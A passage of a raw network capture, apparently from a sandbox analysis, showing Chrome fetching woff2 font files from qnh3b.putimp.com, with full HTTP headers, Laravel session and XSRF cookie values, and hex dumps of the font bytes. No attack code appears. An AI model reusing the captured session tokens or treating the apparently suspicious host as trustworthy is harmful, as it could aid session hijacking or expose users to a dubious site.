laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:11 UTC	730	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:10 GMT Content-Type: font/woff2 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="89Gdd5VtslDof12yyqgTFeyz80" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TLOaxpNt%2B3j2b4zfbxBY%2B8Fq2Cb1xZ%2FiDzHEJWuWO2flmV1YBA%2FUfRiwoW0m9fvx40tZqrGYwNj%2FlqeJIqgqetMQB9PF624ZHzCttEDgjrSbw692DTTuj9vG%2B3yhXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a5409ed1b051-ATL
2024-04-16 19:40:11 UTC	639	IN	Data Raw: 32 64 34 31 0d 0a 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c Data Ascii: 2d41wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/>8&f&]u&VD]<
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: da 6c 9a 70 40 13 91 80 84 a2 dd 03 74 c4 6f f4 d4 0a 76 c1 e7 1f 62 bf 67 dd f3 3f f0 10 6d e2 1e 21 a9 25 0d 89 e9 1a a9 78 a8 0c 4d 43 31 4d b0 bb a1 ee ff ff bf ed ff e7 da 6b af bd 91 7d 29 03 1b 2b 4e 87 9c 8a ef 17 51 5f 79 53 b6 58 a7 31 31 61 13 8a c3 03 26 60 a2 0d 27 22 bc 78 5a 0f b7 3d 62 5e e9 ec bf 1e 69 44 96 e1 11 7d 20 8c 8e 20 be ec 62 a6 ec fc 7d 44 49 76 75 d1 71 04 88 0f d8 6b cb 96 34 d2 0c f7 cc 14 40 c0 10 ce d5 ff 50 2a b0 b0 6a dc ed 89 29 f7 ec 94 27 df 4c 97 eb 89 c9 c2 ae b3 dc b1 62 e0 85 52 51 6a 49 2a 49 9b b4 51 6b da 54 ae 6c fa 5f 77 4f 0f d0 92 24 cb 1f e8 08 21 63 cc 2e 25 cb 7b 80 95 5f 4e 90 02 45 40 fc 00 0d 92 41 b0 da 9d f9 3f 9c ee 9a d9 61 57 0b 79 99 67 66 9d 67 1b 26 45 bc 0c f7 20 7e 88 78 f0 62 c5 cc 83 05 Data Ascii: lp@tovbg?m!%xMC1Mk})+NQ_ySX11a&`'"xZ=b^iD} b}DIvuqk4@Pj)'LbRQjIIQkTl_wO$!c.%{_NE@A?aWygfg&E ~xb
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: a4 a7 e9 59 7a 9e 0a 3e 70 de 71 4e 39 ab 94 e5 55 d7 35 d7 75 d7 4d d7 2d 17 ae 2e b8 2f bb af ba 09 fd 5f cf 05 cf 45 0f 69 fe d9 77 ba ef 6c 1f 65 d5 e8 f5 a0 7f ea 22 9d 9a 33 d3 9d de 10 1f d7 49 9d 12 6b 87 7c c4 c7 d8 cb 3e f6 73 10 dd d8 b1 61 4f f6 c6 30 75 2b cd 1f e6 4f f3 74 a7 db f2 6c 99 b1 ee b6 3e d8 2e 6d d7 b6 39 fb 46 fb 99 7d 9e 5d 57 72 91 73 73 4b bc 1c 72 12 ba 1e 36 36 7c 33 22 22 2a 2a 26 26 21 c1 e1 10 c5 bc bc 32 65 90 3a 76 de b1 83 76 d7 75 c7 d1 ff bd fa ef 37 7f f3 ee 97 3e fc ec d3 2f 3e 0d 7f 59 f7 9d e0 41 40 40 00 c8 82 05 10 40 c9 06 6a 8b 76 3f a2 63 04 fc cf bf 1a e0 05 82 e1 03 a0 ae 09 a0 0b f4 c0 a3 aa 1c 80 71 5b ad cd 01 38 80 ba 26 50 ed 76 16 e9 84 82 9d 77 d3 ef ac 8c 5b 06 e0 52 8b 81 00 1e 2c a6 f3 af 20 bc Data Ascii: Yz>pqN9U5uM-./_Eiwle"3Ik\|>saO0u+Otl>.m9F}]WrssKr66\|3""**&&!2e:vvu7>/>YA@@@jv?cq[8&Pvw[R,
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: 37 46 69 48 cd 4c 8d bb d8 bf 1b 27 1c ef b2 0a 93 de 38 31 47 3a 35 8e 29 8a 3c 90 25 9e 22 cf a0 73 6c 46 61 ed 44 62 d1 d8 d4 9f 2c 27 32 cd c8 7d 04 da 09 c0 57 64 1f 9b 79 b1 89 2e 62 72 87 f7 c5 b2 fb 52 c2 b2 c4 41 12 81 34 01 86 c7 66 67 ae 91 d5 d1 0d 67 33 5c 20 06 41 38 10 e1 cc a9 19 64 33 3f 2a 25 ab 11 e4 13 01 e9 44 ae 3d cb 5b 69 7e db 22 51 70 ef 63 32 39 e9 64 71 a7 b5 30 b6 01 15 1a 29 e2 db ce 53 01 4b 24 89 db 11 9c 91 10 7d 9c ef d5 0f e1 38 11 2a 9e 08 b1 c6 95 68 36 08 c4 a8 a2 b4 98 b5 21 8e 45 d0 71 24 18 a7 83 42 25 37 a3 0f 52 82 02 89 71 3b a6 33 e3 76 a8 96 c5 96 00 31 78 04 a8 30 14 19 d5 19 35 da 35 a1 cc 49 64 7a 77 af a4 2d 6a 48 d5 f9 10 15 85 2c 13 a3 9e f6 44 fc 18 de 56 cd 85 7c a5 47 ac 97 c9 a3 b9 57 e1 c4 0a 96 52 Data Ascii: 7FiHL'81G:5)<%"slFaDb,'2}Wdy.brRA4fgg3\ A8d3?%D=[i~"Qpc29dq0)SK$}8h6!Eq$B%7Rq;3v1x055Idzw-jH,DV\|GWR
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: 38 13 a8 4b 76 63 25 de e8 d9 b9 4c 45 ae 2d 27 b4 4a 5e 82 d7 0c 36 c3 0d 16 89 18 9e 8c 5e 64 c9 8d ff bf 03 23 af 9f a1 bf dd 14 6f 3b b1 14 3d 02 b8 31 cc 60 52 75 5e 7d 4c 27 1e da a5 e0 70 33 97 f3 b6 49 38 86 f6 8e 42 bd 7b 28 a4 ae 52 b8 4c 7b 3b 08 5d 48 16 de 5c ea b8 d2 5a 1e 85 94 34 75 e8 49 d3 5e 26 60 bf a5 86 5b 4a 69 0c d1 e1 b8 20 fc 23 8b 97 28 3f 36 3d bc 0d d8 3d 52 72 fe 9d 98 df f6 99 86 c4 bc 22 f8 09 5a 28 e5 b7 77 89 61 b7 36 f9 53 75 68 4b 1e a3 d9 26 75 d4 2c cc 9b ab c9 a0 c4 be a0 65 70 6a fc 71 23 f4 aa f8 fc 97 90 31 c6 86 3b 8d 2e bf 22 ac c8 63 a8 a4 64 cd 76 00 e5 20 65 ff cf 30 3f a6 13 d2 e5 62 0b a4 27 2d 7d 39 cc f0 e0 9e 1d af b5 ec 6f 86 84 31 96 bb 8e 91 1f de f5 79 ed 91 b4 46 3e b6 fa d8 67 65 be e3 e4 c7 96 8c Data Ascii: 8Kvc%LE-'J^6^d#o;=1`Ru^}L'p3I8B{(RL{;]H\Z4uI^&`[Ji #(?6==Rr"Z(wa6SuhK&u,epjq#1;."cdv e0?b'-}9o1yF>ge
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: 2e ca 88 76 65 87 89 f9 8b 27 10 ac 49 92 27 ea a7 cf c6 51 30 5f ca d3 51 a5 67 e0 88 f9 1c 57 33 f6 06 4c 41 98 f3 f5 b8 83 2e 6e 1f cb ab 72 f8 13 f4 30 fa 57 eb ee 0c f9 86 f7 5a ef 3d 51 8a d4 57 e5 d3 f8 b6 e0 a4 c7 ec 21 75 d4 b5 59 d8 c7 c2 bb 20 06 ee dc e7 92 37 2d 1b e1 de 58 7f 4c 93 b6 dc c8 6b a3 ce 59 5f c3 25 0b 9d f2 4a e9 03 fe a9 a9 bb 81 48 18 fa 58 6c d7 68 8e c9 73 ff 93 f3 ea 71 72 7c d4 67 35 e2 25 58 ad 9b 53 bb 0e 1a 84 1a b8 82 5e 74 f8 f1 ff 58 67 54 9d 62 90 e9 68 f1 c4 58 64 f4 a7 11 7b 4a 5a 49 91 3e 4e c4 a0 f3 c2 16 05 ca 58 f5 2f 67 94 92 df bd d2 cb da 8d 4e 2f c9 b6 83 3e 5b 35 3d f8 fc e3 65 9c 37 d6 d2 a2 c6 49 f6 ae d8 e1 89 37 ae 63 7d 3f 6f 70 d7 3f 3b 22 5b 75 e5 01 5e 3b bd 02 7a e2 ad bd 31 24 3b ab 34 eb 3d 4b Data Ascii: .ve'I'Q0_QgW3LA.nr0WZ=QW!uY 7-XLkY_%JHXlhsqr\|g5%XS^tXgTbhXd{JZI>NX/gN/>[5=e7I7c}?op?;"[u^;z1$;4=K
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: 65 fe 9c df d2 83 84 96 75 84 77 f8 35 c6 f6 3a 96 c2 dc 5d 40 53 8b 84 04 f2 b2 dd f5 c0 7e eb e3 42 9f 21 a9 ab bb fa 26 82 3d 33 d6 5b ed 88 92 5b ad 5d 2e 91 18 55 1e c8 c6 4e da 1b d9 cb 26 73 d3 28 c3 28 43 f4 ec af c5 52 78 6c f6 76 53 be 87 e8 22 7e 65 23 ab fa c5 0a 96 ec a7 d5 45 4c 1e ba 59 30 8f 71 e0 45 cd 17 36 9d d7 1b 32 2a 11 0d 58 a9 2e 71 1b 1f 61 c5 f5 94 ef d3 73 ea 88 7e fb b9 e6 e1 b6 70 c5 34 0a fa 3b 86 fc cc ba 3c 05 7c 34 ea 88 f5 a3 a2 c0 20 35 13 6c 15 e6 41 b8 3e b6 11 22 ac 69 58 6e 3e 6f 9f 28 7b a8 5f 8d bd 76 d8 eb 29 93 79 48 c9 a3 99 6f 6d 06 7f 5d 9e f1 6c 7c 55 3b 55 c9 af 3f cf 18 45 2c 1f 72 44 e3 8e 81 85 63 86 d5 6b ad b7 62 ee 7b 30 a5 df b6 73 24 1a c7 c1 b3 0d fe d9 73 ef 8f c3 b0 9d 51 f5 d7 70 ba 54 f4 24 dd Data Ascii: euw5:]@S~B!&=3[[].UN&s((CRxlvS"~e#ELY0qE62*X.qas~p4;<\|4 5lA>"iXn>o({_v)yHom]l\|U;U?E,rDckb{0s$sQpT$
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: cf 65 5c 45 38 c6 3d 3c ed 15 14 f9 c8 29 55 b8 4f fc d9 9f 62 f8 21 f9 23 25 da f3 c3 a3 32 5d 7b 51 3d 5f 39 fa b9 b4 ad a3 9b de f8 61 5f 61 6b 86 87 f4 a2 81 98 a2 50 cc 25 33 e5 8f 56 7d 43 49 83 63 2a e6 64 47 14 f2 a9 66 1a c6 70 4b 5f 89 93 f1 d9 dc 5e 6c 97 2d 97 98 fa f9 89 93 e2 ee 78 43 e1 f8 8c 32 f2 52 b9 28 d4 a6 32 9a 40 88 66 46 b8 5f 12 ff ff f1 87 04 f0 10 a2 2a 99 3a 19 38 85 1e 76 b6 ca 97 a4 50 a1 74 c5 4a 64 28 d7 28 4b 8b 76 a5 ba f4 a8 34 64 58 ad 57 5e a9 37 61 5a 83 05 0b b0 56 ec 6a b1 ef 8d 6e 47 be ea 77 69 c1 73 7e 5b 36 e1 26 c8 81 08 6c e7 58 14 76 72 2e 2a 52 87 d1 0a 77 14 a7 68 9f bb 2f d5 97 1e 6b e9 a2 36 6d fd ae 5d 6f 7f 1a b0 82 9f bb 29 b7 d4 fd 91 ac f6 10 55 d6 d9 81 2f c0 08 b1 30 af 61 14 e9 1d cc 52 bc 9b 4d Data Ascii: e\E8=<)UOb!#%2]{Q=_9a_akP%3V}CIcdGfpK_^l-xC2R(2@fF_:8vPtJd((Kv4dXW^7aZVjnGwis~[6&lXvr.*Rwh/k6m]o)U/0aRM
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: f4 12 4e 8f 3e 03 05 b1 b2 b1 ab 53 af 81 43 e3 0b 4a 1f cc 18 b1 e2 c4 c3 48 90 28 49 32 08 5f 95 22 55 9a 74 19 b2 e5 c8 95 27 5f e1 bc fe b3 ab 5a 8d 36 ed ba e0 74 eb 31 61 da 8c 35 eb 36 6c da b2 6d c7 ae 03 87 8e 9c 38 f5 ce a5 19 b3 e6 cc f3 04 35 b3 b0 b4 cd 86 ed 76 d8 69 17 89 4a a3 f3 33 98 2c 41 21 b6 b0 88 47 91 d7 a4 a8 59 49 85 cd e8 3b 74 ea d2 ad 47 af 01 83 2a 50 d0 30 b0 86 e7 e1 2b 22 33 b7 92 8a 9a 86 56 b1 9b 6b ab d7 c0 f1 42 d4 c9 4c 7c 57 eb 35 6a d6 a2 4d 87 17 ba 74 eb d5 6f f0 25 a9 7f fd e7 cc 5b b0 68 c9 b2 15 ab d6 ac db b4 65 db 8e 5d 7b f6 1f 5c 46 ee 05 c1 f8 3a a8 e2 f4 ae 1d 96 85 be 31 95 e5 ba 29 b3 5a 43 66 ac 5d ff 03 0f b1 75 01 fc b2 4f 81 3a f6 64 4f 47 bb 09 e2 3c 29 42 ad e2 3e 22 4d c4 96 88 6b 74 7e fd 64 e0 Data Ascii: N>SCJH(I2_"Ut'_Z6t1a56lm85viJ3,A!GYI;tG*P0+"3VkBL\|W5jMto%[he]{\F:1)ZCf]uO:dOG<)B>"Mkt~d
2024-04-16 19:40:11 UTC	1369	IN	Data Raw: 0d 0a 39 64 35 0d 0a 7c 1c ee 10 90 d1 3c bc 92 87 d6 7d 61 34 aa d5 a4 bc d4 7e fa d8 03 69 6e c2 da a3 66 6f cf b5 c9 14 7c 70 4c b4 3f 16 76 28 d8 78 1e e2 c8 c3 db c3 b9 5d bd 3a 0d 2a bc d5 5f 50 d7 da a8 25 ef ee 7a 95 72 7f 17 f7 a8 f8 66 33 a8 b7 34 1a 88 9d 4a a5 7f da d5 0a 78 12 be 37 07 82 82 03 f3 57 85 84 d4 2b 00 1c 18 0f 5d 54 95 c8 98 28 93 32 63 a4 7d 4c 7f a8 5d 3c fc e6 0b 52 65 a8 96 ad 58 0e 9c 5d eb b6 6c 47 61 61 c3 76 2e 25 66 40 87 ee 2b 77 72 0b b9 36 71 8f ab 5f 1d 5b f5 cc bb 91 f0 45 30 3e 81 94 2f a3 d2 8e 56 37 3a 3d a8 75 61 30 8d d1 0c 4e 07 58 6c 60 b7 83 db 11 56 9b 78 3d f6 4d 93 ef f2 ae 35 07 29 06 c0 76 69 21 92 12 8b a1 27 35 49 2b 44 12 93 cf 48 71 b0 40 ca 43 53 1d 9e ca b0 90 23 52 1b 9b e6 94 b4 a7 a7 35 4d 21 Data Ascii: 9d5\|<}a4~info\|pL?v(x]:*_P%zrf34Jx7W+]T(2c}L]<ReX]lGaav.%f@+wr6q_[E0>/V7:=ua0NXl`Vx=M5)vi!'5I+DHq@CS#R5M!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49783	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:09 UTC	1432	OUT	GET /efsInCvmlWeCilStApO0mm7F34E2eYInRflSmn100 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://qnh3b.putimp.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:10 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:10 GMT Content-Type: font/woff2 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="efsInCvmlWeCilStApO0mm7F34E2eYInRflSmn100" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bye6obwyC%2B5M85CsHOqLdc%2F2zzO8tpBQhiUNBxUgGXE7M7MQhUoKdx6X0DCviSqX9bcw749lPhQr%2FEFAS4d8%2FeNgpLWxY4YKg8LiVkKvgXutGyw3qDLn1v3KXqfh3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a540d83a1833-ATL
2024-04-16 19:40:10 UTC	628	IN	Data Raw: 32 65 65 39 0d 0a 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef Data Ascii: 2ee9wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: c2 60 2d 16 ca 4e 09 62 a1 75 bb d6 e5 71 dc d0 69 0b 53 c2 7f c5 70 a5 96 6a 2a 13 fa d0 66 41 85 b2 ae b2 ba fa d8 3f 87 5a ae 45 65 af 7e 7c e3 83 5c a9 d4 54 5a 8a 5f aa 1f 8a 3f 92 2f 61 d2 36 34 8b 1e 2b da 5d 8f c0 28 67 71 ac b6 64 85 15 5c 4b 97 e2 da 53 1c d4 8f 7a 81 69 c4 6c 5b f2 18 c0 c9 ed 95 03 8a 90 c3 88 31 3d 9b c5 f6 b9 49 10 0f f1 f9 f3 34 67 bd 3f f3 47 f2 33 13 26 d3 99 30 4c 26 e9 24 85 40 52 36 bb a5 e2 88 55 8c 15 6f 9d dd 3a ed 9a 53 a7 3d 0a d4 1c b3 db 62 55 0b a1 75 ca 5d 7a ac 57 38 5b 55 18 7c 37 fb 27 fe 25 e6 f2 75 2e 9c 88 31 31 8e 19 67 3c c6 ba 5e c7 a0 eb fa 4a c9 da 50 42 1b 4a 48 42 02 11 f0 6b fa b3 0f 0e 89 0a 91 8a 5d c4 80 28 24 a5 0d 44 ae 16 ab 53 22 75 be b7 ce 37 e2 fc ab 39 9f 38 15 a3 ee d4 9c 1a 55 a3 e6 Data Ascii: `-NbuqiSpj*fA?ZEe~\|\TZ_?/a64+](gqd\KSzil[1=I4g?G3&0L&$@R6Uo:S=bUu]zW8[U\|7'%u.11g<^JPBJHBk]($DS"u798U
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 55 0d 4d a3 99 83 5a ec 2e ea 6f bc 2b 60 35 bf 35 5a 83 b4 de fb dc 86 73 36 72 d9 a6 1b 6d b6 41 b8 a1 37 41 18 59 1b 24 0b ff af f7 a8 ab 1d 5d 06 32 bc 00 f8 f2 2a fd 76 93 81 34 fd 8b 3f 9e 8d a6 5a c0 65 a8 f3 bf 9f f6 8a e5 7a 2d b7 76 66 8d cc 9e 17 b9 71 70 7c a4 bf 5f 72 bd 73 dd 99 e6 a5 b3 17 a5 29 b5 d0 4c 00 33 40 09 60 f2 22 97 8e 0c 63 96 10 1c 40 42 44 dd f4 16 cf 30 00 2b fb 79 0b 30 ab c4 72 0d 2d 40 8d fe 19 13 b5 2f 74 e2 3e 24 50 23 ab dc 2a 66 4d 64 c4 fc ff 2f 53 ab 6d 24 50 26 09 49 5d 09 75 9d 3e c1 ea 31 1f d2 98 cf 56 cd 54 a8 74 6a 7f 21 1b e3 9c 0f 44 44 22 1d 29 45 26 48 55 24 92 52 07 92 54 55 20 21 75 7d 24 c8 3a 01 40 86 24 32 00 8a cd 24 e5 2d 59 9e 72 a6 cc 4b 24 d5 13 80 aa 7a 82 60 1b 94 34 ce 2d 67 b1 1c ca 96 d5 9c Data Ascii: UMZ.o+`55Zs6rmA7AY$]2v4?Zez-vfqp\|_rs)L3@`"c@BD0+y0r-@/t>$P#fMd/Sm$P&I]u>1VTtj!DD")E&HU$RTU !u}$:@$2$-YrK$z`4-g
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: c0 f1 0f 2f 1e 6c 6a 7a 60 0c 13 89 88 62 3c 0e 61 b3 b9 df 8f 46 be bf 5e 13 41 92 56 2b c3 f8 7c 99 4c 34 9a cd 4e eb 24 e9 11 08 42 82 50 55 8a ca e7 09 22 9f a7 e9 02 b3 d7 4c 7f 80 16 b4 8e d1 da 94 bc cf 19 32 f7 ec cb 01 c7 91 d2 75 8d 69 51 fe a7 c3 d9 5d 60 c0 80 9d 77 4e a7 e7 9d 64 4c 38 e4 12 5b ea 9f 6f 23 16 48 90 de 8b 35 34 35 e1 43 b4 b6 e2 5b 28 0a 7e 3f b8 60 01 41 a5 a2 9d 5f aa aa 92 e7 97 9e 00 03 7a 83 f2 df f4 f1 96 7c fe b4 e4 ea d5 9a f9 6c b0 ba 4a 10 6f b7 59 2c ed 74 74 e4 f7 a7 d3 2b 96 40 40 51 66 f5 e7 a0 33 8f 73 f2 d6 c3 e5 9d c3 71 fc 46 72 66 3c 24 2e ce 60 06 3a c8 29 d6 a8 8f 62 ff a8 a5 b5 cd eb 44 76 4b 25 94 fc d0 62 76 e3 42 5d fd 97 64 4c 8b a5 52 6f f8 db 8f 00 94 fc c8 46 5c bd 1c c3 40 2b d1 7a 43 c4 ad 17 b2 Data Ascii: /ljz`b<aF^AV+\|L4N$BPU"L2uiQ]`wNdL8[o#H545C[(~?`A_z\|lJoY,tt+@@Qf3sqFrf<$.`:)bDvK%bvB]dLRoF\@+zC
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 1e 4c 62 e4 28 a2 fd c5 82 31 4f 15 e3 55 c5 6d 08 bd a7 f2 44 ba e3 32 32 28 17 53 0a ed 7f 7b c6 dc c7 36 a7 6b 52 2c 06 75 26 b3 e0 f1 37 9a 59 56 f6 22 67 3b 72 91 d4 8d dd ad a9 15 c7 f3 d0 c4 9b 6f 56 14 3e 27 1f 7b e3 cb 83 77 06 de c9 7f 06 8d 41 d0 6a 10 67 a2 75 ce 84 50 1f 7c d8 97 4e 77 b5 7a 46 0d 4f 75 67 aa 50 20 a3 13 2c 12 f3 54 e7 d6 9d 2d b4 a6 93 cf 99 1f a7 dd 6e 68 53 44 dd 65 65 89 d1 c0 a3 92 64 cc 31 18 63 26 13 31 4e cf 58 79 53 b2 2e db 9a 28 b6 9b 3c a6 00 5c 5e 11 8b 83 4b be 05 32 16 f2 27 f7 9c df b0 9c 1c 87 3a fa 62 03 4e 5f dc 30 32 d9 0e 2d 29 bb 39 86 5a ea 25 1c f9 80 80 d3 b0 59 47 03 e1 38 0e 99 e4 42 e4 67 ce e4 d4 da 88 c7 03 50 4c 29 22 8c 02 70 3a 8b 8a 3b 0f 04 48 26 b5 d1 e4 52 e7 01 3b 4a af d0 d3 a7 68 fe d1 Data Ascii: Lb(1OUmD22(S{6kR,u&7YV"g;roV>'{wAjguP\|NwzFOugP ,T-nhSDeed1c&1NXyS.(<\^K2':bN_02-)9Z%YG8BgPL)"p:;H&R;Jh
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 3e d8 67 02 73 37 f0 c0 86 e3 33 28 a4 0c 7f ce ad 6f 7d 7b b8 ec ad dd 69 7f 71 bf c9 b7 53 42 1e 17 77 8d c1 6e 71 3a 70 c3 b7 ba fc b4 f7 d5 23 12 d4 03 ac 4f 04 d3 fc 8d b7 e5 25 78 11 f2 94 38 ea 23 b3 13 be 8c de 5d 6b 96 6a 53 d4 f4 93 d0 14 d0 19 eb b8 2c 87 2a 04 4a 10 5f 78 bd eb bf 05 1c e9 f8 43 d9 ea af c6 23 62 41 f7 21 1d 7e 41 9f 82 2c b7 fc 55 50 9b 51 70 75 a8 cf 20 94 27 85 0a 16 c2 d5 50 55 97 db 1a cc e4 ea f8 bf 7f 82 9d cf b0 bf bf a8 d2 cf 05 72 5b e8 50 23 0f 23 4b 61 90 94 da f0 4d c9 51 9e 26 0a ec ec ab 69 b4 bd c3 2f 0a f0 74 03 f6 16 2e 59 39 12 0b bc 0c 0d 75 a9 8f 01 48 d7 04 85 96 d2 ab 02 9b de 6d db bd 90 bc 86 ef 83 5a 63 5b 32 e2 71 f8 6e c1 87 75 a9 ee 4c f7 99 27 02 3c 78 27 d8 98 de f7 56 7f 6e f1 fc aa 81 eb 24 c5 Data Ascii: >gs73(o}{iqSBwnq:p#O%x8#]kjS,*J_xC#bA!~A,UPQpu 'PUr[P##KaMQ&i/t.Y9uHmZc[2qnuL'<x'Vn$
